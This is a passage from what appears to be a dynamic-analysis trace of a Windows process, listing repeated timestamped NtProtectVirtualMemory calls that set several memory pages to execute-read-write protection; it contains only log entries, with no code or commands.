ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.517] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.529] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.549] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.566] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.581] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.605] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.622] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.649] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.667] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.699] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.718] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.750] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.767] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.828] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.849] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.868] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.899] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.919] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.950] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.970] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.989] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.098] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.109] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.119] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.130] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.147] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.157] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.168] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.185] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.196] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.206] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.217] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.247] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.258] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.268] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.279] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.297] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.307] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.318] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.329] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.347] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.358] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.379] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.396] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.406] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.416] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.428] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.446] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.456] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.466] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.483] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.494] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.504] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.514] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.531] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.541] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.551] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.561] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.579] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.589] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.599] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.610] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.627] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.638] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.649] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.660] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.678] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.689] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.699] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.717] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.728] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.740] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.859] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.891] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.904] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.914] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.974] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.984] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0306.995] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.005] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.022] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.033] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.043] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.053] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.070] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.080] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0307.090] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, 